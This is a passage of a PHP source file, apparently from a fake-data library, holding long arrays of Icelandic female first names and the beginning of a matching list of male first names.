'Jóný', 'Jóra', 'Jóríður', 'Jórlaug', 'Jórunn', 'Jósebína', 'Jósefín', 'Jósefína', 'Judith', 'Júdea', 'Júdit', 'Júlía', 'Júlíana', 'Júlíanna', 'Júlíetta', 'Júlírós', 'Júnía', 'Júníana', 'Jökla', 'Jökulrós', 'Jörgína', 'Kaðlín', 'Kaja', 'Kalla', 'Kamilla', 'Kamí', 'Kamma', 'Kapitola', 'Kapítóla', 'Kara', 'Karen', 'Karin', 'Karitas', 'Karí', 'Karín', 'Karína', 'Karítas', 'Karla', 'Karlinna', 'Karlína', 'Karlotta', 'Karolína', 'Karó', 'Karólín', 'Karólína', 'Kassandra', 'Kata', 'Katarína', 'Katerína', 'Katharina', 'Kathinka', 'Katinka', 'Katla', 'Katrín', 'Katrína', 'Katý', 'Kára', 'Kellý', 'Kendra', 'Ketilbjörg', 'Ketilfríður', 'Ketilríður', 'Kiddý', 'Kira', 'Kirsten', 'Kirstín', 'Kittý', 'Kjalvör', 'Klara', 'Kládía', 'Klementína', 'Kleópatra', 'Kolbjörg', 'Kolbrá', 'Kolbrún', 'Koldís', 'Kolfinna', 'Kolfreyja', 'Kolgríma', 'Kolka', 'Konkordía', 'Konný', 'Korka', 'Kormlöð', 'Kornelía', 'Kókó', 'Krista', 'Kristbjörg', 'Kristborg', 'Kristel', 'Kristensa', 'Kristey', 'Kristfríður', 'Kristgerður', 'Kristin', 'Kristine', 'Kristíana', 'Kristíanna', 'Kristín', 'Kristína', 'Kristjana', 'Kristjóna', 'Kristlaug', 'Kristlind', 'Kristlín', 'Kristný', 'Kristólína', 'Kristrós', 'Kristrún', 'Kristveig', 'Kristvina', 'Kristþóra', 'Kría', 'Kæja', 'Laila', 'Laíla', 'Lana', 'Lara', 'Laufey', 'Laufheiður', 'Laufhildur', 'Lauga', 'Laugey', 'Laugheiður', 'Lára', 'Lárensína', 'Láretta', 'Lárey', 'Lea', 'Leikný', 'Leila', 'Lena', 'Leonóra', 'Leóna', 'Leónóra', 'Lilja', 'Liljá', 'Liljurós', 'Lill', 'Lilla', 'Lillian', 'Lillý', 'Lily', 'Lilý', 'Lind', 'Linda', 'Linddís', 'Lingný', 'Lisbeth', 'Listalín', 'Liv', 'Líba', 'Líf', 'Lífdís', 'Lín', 'Lína', 'Línbjörg', 'Líndís', 'Líneik', 'Líney', 'Línhildur', 'Lísa', 'Lísabet', 'Lísandra', 'Lísbet', 'Lísebet', 'Lív', 'Ljósbjörg', 'Ljósbrá', 'Ljótunn', 'Lofn', 'Loftveig', 'Logey', 'Lokbrá', 'Lotta', 'Louisa', 'Lousie', 'Lovísa', 'Lóa', 'Lóreley', 'Lukka', 'Lúcía', 'Lúðvíka', 'Lúísa', 'Lúna', 'Lúsinda', 'Lúsía', 'Lúvísa', 'Lydia', 'Lydía', 'Lyngheiður', 'Lýdía', 'Læla', 'Maddý', 'Magda', 'Magdalena', 'Magðalena', 'Magga', 'Maggey', 'Maggý', 'Magna', 'Magndís', 'Magnea', 'Magnes', 'Magney', 'Magnfríður', 'Magnheiður', 'Magnhildur', 'Magnúsína', 'Magný', 'Magnþóra', 'Maía', 'Maídís', 'Maísól', 'Maj', 'Maja', 'Malen', 'Malena', 'Malía', 'Malín', 'Malla', 'Manda', 'Manúela', 'Mara', 'Mardís', 'Marela', 'Marella', 'Maren', 'Marey', 'Marfríður', 'Margit', 'Margot', 'Margret', 'Margrét', 'Margrjet', 'Margunnur', 'Marheiður', 'Maria', 'Marie', 'Marikó', 'Marinella', 'Marit', 'Marí', 'María', 'Maríam', 'Marían', 'Maríana', 'Maríanna', 'Marín', 'Marína', 'Marínella', 'Maríon', 'Marísa', 'Marísól', 'Marít', 'Maríuerla', 'Marja', 'Markrún', 'Marlaug', 'Marlena', 'Marlín', 'Marlís', 'Marólína', 'Marsa', 'Marselía', 'Marselína', 'Marsibil', 'Marsilía', 'Marsý', 'Marta', 'Martha', 'Martína', 'Mary', 'Marý', 'Matta', 'Mattea', 'Matthea', 'Matthilda', 'Matthildur', 'Matthía', 'Mattíana', 'Mattína', 'Mattý', 'Maxima', 'Mábil', 'Málfríður', 'Málhildur', 'Málmfríður', 'Mánadís', 'Máney', 'Mára', 'Meda', 'Mekkin', 'Mekkín', 'Melinda', 'Melissa', 'Melkorka', 'Melrós', 'Messíana', 'Metta', 'Mey', 'Mikaela', 'Mikaelína', 'Mikkalína', 'Milda', 'Mildríður', 'Milla', 'Millý', 'Minerva', 'Minna', 'Minney', 'Minný', 'Miriam', 'Mirja', 'Mirjam', 'Mirra', 'Mist', 'Mía', 'Mínerva', 'Míra', 'Míranda', 'Mítra', 'Mjaðveig', 'Mjalldís', 'Mjallhvít', 'Mjöll', 'Mona', 'Monika', 'Módís', 'Móeiður', 'Móey', 'Móheiður', 'Móna', 'Mónika', 'Móníka', 'Munda', 'Mundheiður', 'Mundhildur', 'Mundína', 'Myrra', 'Mýr', 'Mýra', 'Mýrún', 'Mörk', 'Nadia', 'Nadía', 'Nadja', 'Nana', 'Nanna', 'Nanný', 'Nansý', 'Naomí', 'Naómí', 'Natalie', 'Natalía', 'Náttsól', 'Nella', 'Nellý', 'Nenna', 'Nicole', 'Niðbjörg', 'Nikíta', 'Nikoletta', 'Nikólína', 'Ninja', 'Ninna', 'Nína', 'Níní', 'Njála', 'Njóla', 'Norma', 'Nóa', 'Nóra', 'Nótt', 'Nýbjörg', 'Odda', 'Oddbjörg', 'Oddfreyja', 'Oddfríður', 'Oddgerður', 'Oddhildur', 'Oddlaug', 'Oddleif', 'Oddný', 'Oddrún', 'Oddveig', 'Oddvör', 'Oktavía', 'Októvía', 'Olga', 'Ollý', 'Ora', 'Orka', 'Ormheiður', 'Ormhildur', 'Otkatla', 'Otta', 'Óda', 'Ófelía', 'Óla', 'Ólafía', 'Ólafína', 'Ólavía', 'Ólivía', 'Ólína', 'Ólöf', 'Ósa', 'Ósk', 'Ótta', 'Pamela', 'París', 'Patricia', 'Patrisía', 'Pála', 'Páldís', 'Páley', 'Pálfríður', 'Pálhanna', 'Pálheiður', 'Pálhildur', 'Pálín', 'Pálína', 'Pálmey', 'Pálmfríður', 'Pálrún', 'Perla', 'Peta', 'Petra', 'Petrea', 'Petrína', 'Petronella', 'Petrónella', 'Petrós', 'Petrún', 'Petrúnella', 'Pétrína', 'Pétrún', 'Pía', 'Polly', 'Pollý', 'Pría', 'Rafney', 'Rafnhildur', 'Ragna', 'Ragnbjörg', 'Ragney', 'Ragnfríður', 'Ragnheiður', 'Ragnhildur', 'Rakel', 'Ramóna', 'Randalín', 'Randíður', 'Randý', 'Ranka', 'Rannva', 'Rannveig', 'Ráðhildur', 'Rán', 'Rebekka', 'Reginbjörg', 'Regína', 'Rein', 'Renata', 'Reyn', 'Reyndís', 'Reynheiður', 'Reynhildur', 'Rikka', 'Ripley', 'Rita', 'Ríkey', 'Rín', 'Ríta', 'Ronja', 'Rorí', 'Roxanna', 'Róberta', 'Róbjörg', 'Rós', 'Rósa', 'Rósalind', 'Rósanna', 'Rósbjörg', 'Rósborg', 'Róselía', 'Rósey', 'Rósfríður', 'Róshildur', 'Rósinkara', 'Rósinkransa', 'Róska', 'Róslaug', 'Róslind', 'Róslinda', 'Róslín', 'Rósmary', 'Rósmarý', 'Rósmunda', 'Rósný', 'Runný', 'Rut', 'Ruth', 'Rúbý', 'Rún', 'Rúna', 'Rúndís', 'Rúnhildur', 'Rúrí', 'Röfn', 'Rögn', 'Röskva', 'Sabína', 'Sabrína', 'Saga', 'Salbjörg', 'Saldís', 'Salgerður', 'Salín', 'Salína', 'Salka', 'Salma', 'Salný', 'Salome', 'Salóme', 'Salvör', 'Sandra', 'Sanna', 'Santía', 'Sara', 'Sarína', 'Sefanía', 'Selja', 'Selka', 'Selma', 'Senía', 'Septíma', 'Sera', 'Serena', 'Seselía', 'Sesilía', 'Sesselía', 'Sesselja', 'Sessilía', 'Sif', 'Sigdís', 'Sigdóra', 'Sigfríð', 'Sigfríður', 'Sigga', 'Siggerður', 'Sigmunda', 'Signa', 'Signhildur', 'Signý', 'Sigríður', 'Sigrún', 'Sigurást', 'Sigurásta', 'Sigurbára', 'Sigurbirna', 'Sigurbjörg', 'Sigurbjört', 'Sigurborg', 'Sigurdís', 'Sigurdóra', 'Sigurdríf', 'Sigurdrífa', 'Sigurða', 'Sigurey', 'Sigurfinna', 'Sigurfljóð', 'Sigurgeira', 'Sigurhanna', 'Sigurhelga', 'Sigurhildur', 'Sigurjóna', 'Sigurlaug', 'Sigurleif', 'Sigurlilja', 'Sigurlinn', 'Sigurlín', 'Sigurlína', 'Sigurmunda', 'Sigurnanna', 'Sigurósk', 'Sigurrós', 'Sigursteina', 'Sigurunn', 'Sigurveig', 'Sigurvina', 'Sigurþóra', 'Sigyn', 'Sigþóra', 'Sigþrúður', 'Silfa', 'Silfá', 'Silfrún', 'Silja', 'Silka', 'Silla', 'Silva', 'Silvana', 'Silvía', 'Sirra', 'Sirrý', 'Siv', 'Sía', 'Símonía', 'Sísí', 'Síta', 'Sjöfn', 'Skarpheiður', 'Skugga', 'Skuld', 'Skúla', 'Skúlína', 'Snjáfríður', 'Snjáka', 'Snjófríður', 'Snjólaug', 'Snorra', 'Snót', 'Snæbjörg', 'Snæbjört', 'Snæborg', 'Snæbrá', 'Snædís', 'Snæfríður', 'Snælaug', 'Snærós', 'Snærún', 'Soffía', 'Sofie', 'Sofía', 'Solveig', 'Sonja', 'Sonný', 'Sophia', 'Sophie', 'Sól', 'Sóla', 'Sólbjörg', 'Sólbjört', 'Sólborg', 'Sólbrá', 'Sólbrún', 'Sóldís', 'Sóldögg', 'Sóley', 'Sólfríður', 'Sólgerður', 'Sólhildur', 'Sólín', 'Sólkatla', 'Sóllilja', 'Sólný', 'Sólrós', 'Sólrún', 'Sólveig', 'Sólvör', 'Sónata', 'Stefana', 'Stefanía', 'Stefánný', 'Steina', 'Steinbjörg', 'Steinborg', 'Steindís', 'Steindóra', 'Steiney', 'Steinfríður', 'Steingerður', 'Steinhildur', 'Steinlaug', 'Steinrós', 'Steinrún', 'Steinunn', 'Steinvör', 'Steinþóra', 'Stella', 'Stígheiður', 'Stígrún', 'Stína', 'Stjarna', 'Styrgerður', 'Sumarlína', 'Sumarrós', 'Sunna', 'Sunnefa', 'Sunneva', 'Sunniva', 'Sunníva', 'Susan', 'Súla', 'Súsan', 'Súsanna', 'Svafa', 'Svala', 'Svalrún', 'Svana', 'Svanbjörg', 'Svanbjört', 'Svanborg', 'Svandís', 'Svaney', 'Svanfríður', 'Svanheiður', 'Svanhildur', 'Svanhvít', 'Svanlaug', 'Svanrós', 'Svanþrúður', 'Svava', 'Svea', 'Sveina', 'Sveinbjörg', 'Sveinborg', 'Sveindís', 'Sveiney', 'Sveinfríður', 'Sveingerður', 'Sveinhildur', 'Sveinlaug', 'Sveinrós', 'Sveinrún', 'Sveinsína', 'Sveinveig', 'Sylgja', 'Sylva', 'Sylvía', 'Sæbjörg', 'Sæbjört', 'Sæborg', 'Sædís', 'Sæfinna', 'Sæfríður', 'Sæhildur', 'Sælaug', 'Sæmunda', 'Sæný', 'Særós', 'Særún', 'Sæsól', 'Sæunn', 'Sævör', 'Sölva', 'Sölvey', 'Sölvína', 'Tala', 'Talía', 'Tamar', 'Tamara', 'Tanía', 'Tanja', 'Tanya', 'Tanya', 'Tara', 'Tea', 'Teitný', 'Tekla', 'Telma', 'Tera', 'Teresa', 'Teresía', 'Thea', 'Thelma', 'Theodóra', 'Theódóra', 'Theresa', 'Tindra', 'Tinna', 'Tirsa', 'Tía', 'Tíbrá', 'Tína', 'Todda', 'Torbjörg', 'Torfey', 'Torfheiður', 'Torfhildur', 'Tóbý', 'Tóka', 'Tóta', 'Tristana', 'Trú', 'Tryggva', 'Tryggvína', 'Týra', 'Ugla', 'Una', 'Undína', 'Unna', 'Unnbjörg', 'Unndís', 'Unnur', 'Urður', 'Úa', 'Úlfa', 'Úlfdís', 'Úlfey', 'Úlfheiður', 'Úlfhildur', 'Úlfrún', 'Úlla', 'Úna', 'Úndína', 'Úranía', 'Úrsúla', 'Vagna', 'Vagnbjörg', 'Vagnfríður', 'Vaka', 'Vala', 'Valbjörg', 'Valbjörk', 'Valbjört', 'Valborg', 'Valdheiður', 'Valdís', 'Valentína', 'Valería', 'Valey', 'Valfríður', 'Valgerða', 'Valgerður', 'Valhildur', 'Valka', 'Vallý', 'Valný', 'Valrós', 'Valrún', 'Valva', 'Valý', 'Valþrúður', 'Vanda', 'Vár', 'Veig', 'Veiga', 'Venus', 'Vera', 'Veronika', 'Verónika', 'Veróníka', 'Vetrarrós', 'Vébjörg', 'Védís', 'Végerður', 'Vélaug', 'Véný', 'Vibeka', 'Victoría', 'Viðja', 'Vigdís', 'Vigný', 'Viktoria', 'Viktoría', 'Vilborg', 'Vildís', 'Vilfríður', 'Vilgerður', 'Vilhelmína', 'Villa', 'Villimey', 'Vilma', 'Vilný', 'Vinbjörg', 'Vinný', 'Vinsý', 'Virginía', 'Víbekka', 'Víf', 'Vígdögg', 'Víggunnur', 'Víóla', 'Víóletta', 'Vísa', 'Von', 'Von', 'Voney', 'Vordís', 'Ylfa', 'Ylfur', 'Ylja', 'Ylva', 'Ynja', 'Yrja', 'Yrsa', 'Ýja', 'Ýma', 'Ýr', 'Ýrr', 'Þalía', 'Þeba', 'Þeódís', 'Þeódóra', 'Þjóðbjörg', 'Þjóðhildur', 'Þoka', 'Þorbjörg', 'Þorfinna', 'Þorgerður', 'Þorgríma', 'Þorkatla', 'Þorlaug', 'Þorleif', 'Þorsteina', 'Þorstína', 'Þóra', 'Þóranna', 'Þórarna', 'Þórbjörg', 'Þórdís', 'Þórða', 'Þórelfa', 'Þórelfur', 'Þórey', 'Þórfríður', 'Þórgunna', 'Þórgunnur', 'Þórhalla', 'Þórhanna', 'Þórheiður', 'Þórhildur', 'Þórkatla', 'Þórlaug', 'Þórleif', 'Þórný', 'Þórodda', 'Þórsteina', 'Þórsteinunn', 'Þórstína', 'Þórunn', 'Þórveig', 'Þórvör', 'Þrá', 'Þrúða', 'Þrúður', 'Þula', 'Þura', 'Þurí', 'Þuríður', 'Þurý', 'Þúfa', 'Þyri', 'Þyrí', 'Þöll', 'Ægileif', 'Æsa', 'Æsgerður', 'Ögmunda', 'Ögn', 'Ölrún', 'Ölveig', 'Örbrún', 'Örk', 'Ösp'); + + /** + * @var string Icelandic men names. + */ + protected static $firstNameMale = array('Aage', 'Abel', 'Abraham', 'Adam', 'Addi', 'Adel', 'Adíel', 'Adólf', 'Adrían', 'Adríel', 'Aðalberg', 'Aðalbergur', 'Aðalbert', 'Aðalbjörn', 'Aðalborgar', 'Aðalgeir', 'Aðalmundur', 'Aðalráður', 'Aðalsteinn', 'Aðólf', 'Agnar', 'Agni', 'Albert', 'Aldar', 'Alex', 'Alexander', 'Alexíus', 'Alfons', 'Alfred', 'Alfreð', 'Ali', 'Allan', 'Alli', 'Almar', 'Alrekur', 'Alvar', 'Alvin', 'Amír', 'Amos', 'Anders', 'Andreas', 'André', 'Andrés', 'Andri', 'Anes', 'Anfinn', 'Angantýr', 'Angi', 'Annar', 'Annarr', 'Annas', 'Annel', 'Annes', 'Anthony', 'Anton', 'Antoníus', 'Aran', 'Arent', 'Ares', 'Ari', 'Arilíus', 'Arinbjörn', 'Aríel', 'Aríus', 'Arnald', 'Arnaldur', 'Arnar', 'Arnberg', 'Arnbergur', 'Arnbjörn', 'Arndór', 'Arnes', 'Arnfinnur', 'Arnfreyr', 'Arngeir', 'Arngils', 'Arngrímur', 'Arnkell', 'Arnlaugur', 'Arnleifur', 'Arnljótur', 'Arnmóður', 'Arnmundur', 'Arnoddur', 'Arnold', 'Arnór', 'Arnsteinn', 'Arnúlfur', 'Arnviður', 'Arnþór', 'Aron', 'Arthur', 'Arthúr', 'Artúr', 'Asael', 'Askur', 'Aspar', 'Atlas', 'Atli', 'Auðbergur', 'Auðbert', 'Auðbjörn', 'Auðgeir', 'Auðkell', 'Auðmundur', 'Auðólfur', 'Auðun', 'Auðunn', 'Austar', 'Austmann', 'Austmar', 'Austri', 'Axel', 'Ágúst', 'Áki', 'Álfar', 'Álfgeir', 'Álfgrímur', 'Álfur', 'Álfþór', 'Ámundi', 'Árbjartur', 'Árbjörn', 'Árelíus', 'Árgeir', 'Árgils', 'Ármann', 'Árni', 'Ársæll', 'Ás', 'Ásberg', 'Ásbergur', 'Ásbjörn', 'Ásgautur', 'Ásgeir', 'Ásgils', 'Ásgrímur', 'Ási', 'Áskell', 'Áslaugur', 'Áslákur', 'Ásmar', 'Ásmundur', 'Ásólfur', 'Ásröður', 'Ástbjörn', 'Ástgeir', 'Ástmar', 'Ástmundur', 'Ástráður', 'Ástríkur', 'Ástvald', 'Ástvaldur', 'Ástvar', 'Ástvin', 'Ástþór', 'Ásvaldur', 'Ásvarður', 'Ásþór', 'Baldur', 'Baldvin', 'Baldwin', 'Baltasar', 'Bambi', 'Barði', 'Barri', 'Bassi', 'Bastían', 'Baugur', 'Bárður', 'Beinir', 'Beinteinn', 'Beitir', 'Bekan', 'Benedikt', 'Benidikt', 'Benjamín', 'Benoný', 'Benóní', 'Benóný', 'Bent', 'Berent', 'Berg', 'Bergfinnur', 'Berghreinn', 'Bergjón', 'Bergmann', 'Bergmar', 'Bergmundur', 'Bergsteinn', 'Bergsveinn', 'Bergur', 'Bergvin', 'Bergþór', 'Bernhard', 'Bernharð', 'Bernharður', 'Berni', 'Bernódus', 'Bersi', 'Bertel', 'Bertram', 'Bessi', 'Betúel', 'Bill', 'Birgir', 'Birkir', 'Birnir', 'Birtingur', 'Birtir', 'Bjargar', 'Bjargmundur', 'Bjargþór', 'Bjarkan', 'Bjarkar', 'Bjarki', 'Bjarmar', 'Bjarmi', 'Bjarnar', 'Bjarnfinnur', 'Bjarnfreður', 'Bjarnharður', 'Bjarnhéðinn', 'Bjarni', 'Bjarnlaugur', 'Bjarnleifur', 'Bjarnólfur', 'Bjarnsteinn', 'Bjarnþór', 'Bjartmann', 'Bjartmar', 'Bjartur', 'Bjartþór', 'Bjólan', 'Bjólfur', 'Björgmundur', 'Björgólfur', 'Björgúlfur', 'Björgvin', 'Björn', 'Björnólfur', 'Blængur', 'Blær', 'Blævar', 'Boði', 'Bogi', 'Bolli', 'Borgar', 'Borgúlfur', 'Borgþór', 'Bóas', 'Bói', 'Bótólfur', 'Bragi', 'Brandur', 'Breki', 'Bresi', 'Brestir', 'Brimar', 'Brimi', 'Brimir', 'Brími', 'Brjánn', 'Broddi', 'Bruno', 'Bryngeir', 'Brynjar', 'Brynjólfur', 'Brynjúlfur', 'Brynleifur', 'Brynsteinn', 'Bryntýr', 'Brynþór', 'Burkni', 'Búi', 'Búri', 'Bæring', 'Bæringur', 'Bæron', 'Böðvar', 'Börkur', 'Carl', 'Cecil', 'Christian', 'Christopher', 'Cýrus', 'Daði', 'Dagbjartur', 'Dagfari', 'Dagfinnur', 'Daggeir', 'Dagmann', 'Dagnýr', 'Dagur', 'Dagþór', 'Dalbert', 'Dalli', 'Dalmann', 'Dalmar', 'Dalvin', 'Damjan', 'Dan', 'Danelíus', 'Daniel', 'Danival', 'Daníel', 'Daníval', 'Dante', 'Daríus', 'Darri', 'Davíð', 'Demus', 'Deníel', 'Dennis', 'Diðrik', 'Díómedes', 'Dofri', 'Dolli', 'Dominik', 'Dómald', 'Dómaldi', 'Dómaldur', 'Dónald', 'Dónaldur', 'Dór', 'Dóri', 'Dósóþeus', 'Draupnir', 'Dreki', 'Drengur', 'Dufgus', 'Dufþakur', 'Dugfús', 'Dúi', 'Dúnn', 'Dvalinn', 'Dýri', 'Dýrmundur', 'Ebbi', 'Ebeneser', 'Ebenezer', 'Eberg', 'Edgar', 'Edilon', 'Edílon', 'Edvard', 'Edvin', 'Edward', 'Eðvald', 'Eðvar', 'Eðvarð', 'Efraím', 'Eggert', 'Eggþór', 'Egill', 'Eiðar', 'Eiður', 'Eikar', 'Eilífur', 'Einar', 'Einir', 'Einvarður', 'Einþór', 'Eiríkur', 'Eivin', 'Elberg', 'Elbert', 'Eldar', 'Eldgrímur', 'Eldjárn', 'Eldmar', 'Eldon', 'Eldór', 'Eldur', 'Elentínus', 'Elfar', 'Elfráður', 'Elimar', 'Elinór', 'Elis', 'Elí', 'Elías', 'Elíeser', 'Elímar', 'Elínbergur', 'Elínmundur', 'Elínór', 'Elís', 'Ellert', 'Elli', 'Elliði', 'Ellís', 'Elmar', 'Elvar', 'Elvin', 'Elvis', 'Emanúel', 'Embrek', 'Emerald', 'Emil', 'Emmanúel', 'Engilbert', 'Engilbjartur', 'Engiljón', 'Engill', 'Enok', 'Eric', 'Erik', 'Erlar', 'Erlendur', 'Erling', 'Erlingur', 'Ernestó', 'Ernir', 'Ernst', 'Eron', 'Erpur', 'Esekíel', 'Esjar', 'Esra', 'Estefan', 'Evald', 'Evan', 'Evert', 'Eyberg', 'Eyjólfur', 'Eylaugur', 'Eyleifur', 'Eymar', 'Eymundur', 'Eyríkur', 'Eysteinn', 'Eyvar', 'Eyvindur', 'Eyþór', 'Fabrisíus', 'Falgeir', 'Falur', 'Fannar', 'Fannberg', 'Fanngeir', 'Fáfnir', 'Fálki', 'Felix', 'Fengur', 'Fenrir', 'Ferdinand', 'Ferdínand', 'Fertram', 'Feykir', 'Filip', 'Filippus', 'Finn', 'Finnbjörn', 'Finnbogi', 'Finngeir', 'Finnjón', 'Finnlaugur', 'Finnur', 'Finnvarður', 'Fífill', 'Fjalar', 'Fjarki', 'Fjólar', 'Fjólmundur', 'Fjölnir', 'Fjölvar', 'Fjörnir', 'Flemming', 'Flosi', 'Flóki', 'Flórent', 'Flóvent', 'Forni', 'Fossmar', 'Fólki', 'Francis', 'Frank', 'Franklín', 'Frans', 'Franz', 'Fránn', 'Frár', 'Freybjörn', 'Freygarður', 'Freymar', 'Freymóður', 'Freymundur', 'Freyr', 'Freysteinn', 'Freyviður', 'Freyþór', 'Friðberg', 'Friðbergur', 'Friðbert', 'Friðbjörn', 'Friðfinnur', 'Friðgeir', 'Friðjón', 'Friðlaugur', 'Friðleifur', 'Friðmann', 'Friðmar', 'Friðmundur', 'Friðrik', 'Friðsteinn', 'Friður', 'Friðvin', 'Friðþjófur', 'Friðþór', 'Friedrich', 'Fritz', 'Frímann', 'Frosti', 'Fróði', 'Fróðmar', 'Funi', 'Fúsi', 'Fylkir', 'Gabriel', 'Gabríel', 'Gael', 'Galdur', 'Gamalíel', 'Garðar', 'Garibaldi', 'Garpur', 'Garri', 'Gaui', 'Gaukur', 'Gauti', 'Gautrekur', 'Gautur', 'Gautviður', 'Geir', 'Geirarður', 'Geirfinnur', 'Geirharður', 'Geirhjörtur', 'Geirhvatur', 'Geiri', 'Geirlaugur', 'Geirleifur', 'Geirmundur', 'Geirólfur', 'Geirröður', 'Geirtryggur', 'Geirvaldur', 'Geirþjófur', 'Geisli', 'Gellir', 'Georg', 'Gerald', 'Gerðar', 'Geri', 'Gestur', 'Gilbert', 'Gilmar', 'Gils', 'Gissur', 'Gizur', 'Gídeon', 'Gígjar', 'Gísli', 'Gjúki', 'Glói', 'Glúmur', 'Gneisti', 'Gnúpur', 'Gnýr', 'Goði', 'Goðmundur', 'Gottskálk', 'Gottsveinn', 'Gói', 'Grani', 'Grankell', 'Gregor', 'Greipur', 'Greppur', 'Gretar', 'Grettir', 'Grétar', 'Grímar', 'Grímkell', 'Grímlaugur', 'Grímnir', 'Grímólfur', 'Grímur', 'Grímúlfur', 'Guðberg', 'Guðbergur', 'Guðbjarni', 'Guðbjartur', 'Guðbjörn', 'Guðbrandur', 'Guðfinnur', 'Guðfreður', 'Guðgeir', 'Guðjón', 'Guðlaugur', 'Guðleifur', 'Guðleikur', 'Guðmann', 'Guðmar', 'Guðmon', 'Guðmundur', 'Guðni', 'Guðráður', 'Guðröður', 'Guðsteinn', 'Guðvarður', 'Guðveigur', 'Guðvin', 'Guðþór', 'Gumi', 'Gunnar', 'Gunnberg', 'Gunnbjörn', 'Gunndór', 'Gunngeir', 'Gunnhallur', 'Gunnlaugur', 'Gunnleifur', 'Gunnólfur', 'Gunnóli', 'Gunnröður', 'Gunnsteinn', 'Gunnvaldur', 'Gunnþór', 'Gustav', 'Gutti', 'Guttormur', 'Gústaf', 'Gústav', 'Gylfi', 'Gyrðir', 'Gýgjar', 'Gýmir', 'Haddi', 'Haddur', 'Hafberg', 'Hafgrímur', 'Hafliði', 'Hafnar', 'Hafni', 'Hafsteinn', 'Hafþór', 'Hagalín', 'Hagbarður', 'Hagbert', 'Haki', 'Hallberg', 'Hallbjörn', 'Halldór', 'Hallfreður', 'Hallgarður', 'Hallgeir', 'Hallgils', 'Hallgrímur', 'Hallkell', 'Hallmann', 'Hallmar', 'Hallmundur', 'Hallsteinn', 'Hallur', 'Hallvarður', 'Hallþór', 'Hamar', 'Hannes', 'Hannibal', 'Hans', 'Harald', 'Haraldur', 'Harri', 'Harry', 'Harrý', 'Hartmann', 'Hartvig', 'Hauksteinn', 'Haukur', 'Haukvaldur', 'Hákon', 'Háleygur', 'Hálfdan', 'Hálfdán', 'Hámundur', 'Hárekur', 'Hárlaugur', 'Hásteinn', 'Hávar', 'Hávarður', 'Hávarr', 'Hávarr', 'Heiðar', 'Heiðarr', 'Heiðberg', 'Heiðbert', 'Heiðlindur', 'Heiðmann', 'Heiðmar', 'Heiðmundur', 'Heiðrekur', 'Heikir', 'Heilmóður', 'Heimir', 'Heinrekur', 'Heisi', 'Hektor', 'Helgi', 'Helmút', 'Hemmert', 'Hendrik', 'Henning', 'Henrik', 'Henry', 'Henrý', 'Herbert', 'Herbjörn', 'Herfinnur', 'Hergeir', 'Hergill', 'Hergils', 'Herjólfur', 'Herlaugur', 'Herleifur', 'Herluf', 'Hermann', 'Hermóður', 'Hermundur', 'Hersir', 'Hersteinn', 'Hersveinn', 'Hervar', 'Hervarður', 'Hervin', 'Héðinn', 'Hilaríus', 'Hilbert', 'Hildar', 'Hildibergur', 'Hildibrandur', 'Hildigeir', 'Hildiglúmur', 'Hildimar', 'Hildimundur', 'Hildingur', 'Hildir', 'Hildiþór', 'Hilmar', 'Hilmir', 'Himri', 'Hinrik', 'Híram', 'Hjallkár', 'Hjalti', 'Hjarnar', 'Hjálmar', 'Hjálmgeir', 'Hjálmtýr', 'Hjálmur', 'Hjálmþór', 'Hjörleifur', 'Hjörtur', 'Hjörtþór', 'Hjörvar', 'Hleiðar', 'Hlégestur', 'Hlér', 'Hlini', 'Hlíðar', 'Hlíðberg', 'Hlífar', 'Hljómur', 'Hlynur', 'Hlöðmundur', 'Hlöður', 'Hlöðvarður', 'Hlöðver', 'Hnefill', 'Hnikar', 'Hnikarr', 'Holgeir', 'Holger', 'Holti', 'Hólm', 'Hólmar', 'Hólmbert', 'Hólmfastur', 'Hólmgeir', 'Hólmgrímur', 'Hólmkell', 'Hólmsteinn', 'Hólmþór', 'Hóseas', 'Hrafn', 'Hrafnar', 'Hrafnbergur', 'Hrafnkell', 'Hrafntýr', 'Hrannar', 'Hrappur', 'Hraunar', 'Hreggviður', 'Hreiðar', 'Hreiðmar', 'Hreimur', 'Hreinn', 'Hringur', 'Hrímnir', 'Hrollaugur', 'Hrolleifur', 'Hróaldur', 'Hróar', 'Hróbjartur', 'Hróðgeir', 'Hróðmar', 'Hróðólfur', 'Hróðvar', 'Hrói', 'Hrólfur', 'Hrómundur', 'Hrútur', 'Hrærekur', 'Hugberg', 'Hugi', 'Huginn', 'Hugleikur', 'Hugo', 'Hugó', 'Huldar', 'Huxley', 'Húbert', 'Húgó', 'Húmi', 'Húnbogi', 'Húni', 'Húnn', 'Húnröður', 'Hvannar', 'Hyltir', 'Hylur', 'Hængur', 'Hænir', 'Höður', 'Högni', 'Hörður', 'Höskuldur', 'Illugi', 'Immanúel', 'Indriði', 'Ingberg', 'Ingi', 'Ingiberg', 'Ingibergur', 'Ingibert', 'Ingibjartur', 'Ingibjörn', 'Ingileifur', 'Ingimagn', 'Ingimar', 'Ingimundur', 'Ingivaldur', 'Ingiþór', 'Ingjaldur', 'Ingmar', 'Ingólfur', 'Ingvaldur', 'Ingvar', 'Ingvi', 'Ingþór', 'Ismael', 'Issi', 'Ían', 'Ígor', 'Ími', 'Ísak', 'Ísar', 'Ísarr', 'Ísbjörn', 'Íseldur', 'Ísgeir', 'Ísidór', 'Ísleifur', 'Ísmael', 'Ísmar', 'Ísólfur', 'Ísrael', 'Ívan', 'Ívar', 'Jack', 'Jafet', 'Jaki', 'Jakob', 'Jakop', 'Jamil', 'Jan', 'Janus', 'Jarl', 'Jason', 'Járngrímur', 'Játgeir', 'Játmundur', 'Játvarður', 'Jenni', 'Jens', 'Jeremías', 'Jes', 'Jesper', 'Jochum', 'Johan', 'John', 'Joshua', 'Jóakim', 'Jóann', 'Jóel', 'Jóhann', 'Jóhannes', 'Jói', 'Jómar', 'Jómundur', 'Jón', 'Jónar', 'Jónas', 'Jónatan', 'Jónbjörn', 'Jóndór', 'Jóngeir', 'Jónmundur', 'Jónsteinn', 'Jónþór', 'Jósafat', 'Jósavin', 'Jósef', 'Jósep', 'Jósteinn', 'Jósúa', 'Jóvin', 'Julian', 'Júlí', 'Júlían', 'Júlíus', 'Júní', 'Júníus', 'Júrek', 'Jökull', 'Jörfi', 'Jörgen', 'Jörmundur', 'Jörri', 'Jörundur', 'Jörvar', 'Jörvi', 'Kaj', 'Kakali', 'Kaktus', 'Kaldi', 'Kaleb', 'Kali', 'Kalman', 'Kalmann', 'Kalmar', 'Kaprasíus', 'Karel', 'Karim', 'Karkur', 'Karl', 'Karles', 'Karli', 'Karvel', 'Kaspar', 'Kasper', 'Kastíel', 'Katarínus', 'Kató', 'Kár', 'Kári', 'Keran', 'Ketilbjörn', 'Ketill', 